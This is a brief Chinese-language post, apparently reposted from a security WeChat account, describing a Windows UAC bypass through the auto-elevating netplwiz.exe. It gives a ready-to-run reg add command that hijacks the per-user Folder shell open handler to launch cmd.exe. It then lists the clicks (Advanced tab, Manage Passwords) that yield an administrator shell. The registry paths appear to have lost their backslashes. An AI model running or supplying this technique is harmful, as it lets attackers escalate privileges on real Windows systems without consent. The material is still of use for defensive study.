Bypass UAC using netplwiz.exe

Netplwiz.exe是高级用户帐户控制面板。

此文件是 Microsoft® Windows® 操作系统的一部分。Netplwiz.exe 是由 Microsoft Corporation 开发的。这是一个系统和隐藏文件。Netplwiz.exe通常位于 %SYSTEM% 文件夹中，其通常大小为 25,600 字节。

同样具有“自动提升”和签名：

监视运行，如果单击 netplwiz.exe 中的管理密码按钮时调用

运行命令
reg add "HKCUSoftwareClassesFoldershellopencommand" /d "cmd.exe /c cmd.exe" /f && reg add HKCUSoftwareClassesFoldershellopencommand /v "DelegateExecute" /f

在 cmd 中运行netplwiz.exe。

选择“高级”选项卡，然后单击“管理密码”按钮。然后会得到Administrator Shell。

本文始发于微信公众号（黑白天实验室）：Bypass UAC using netplwiz.exe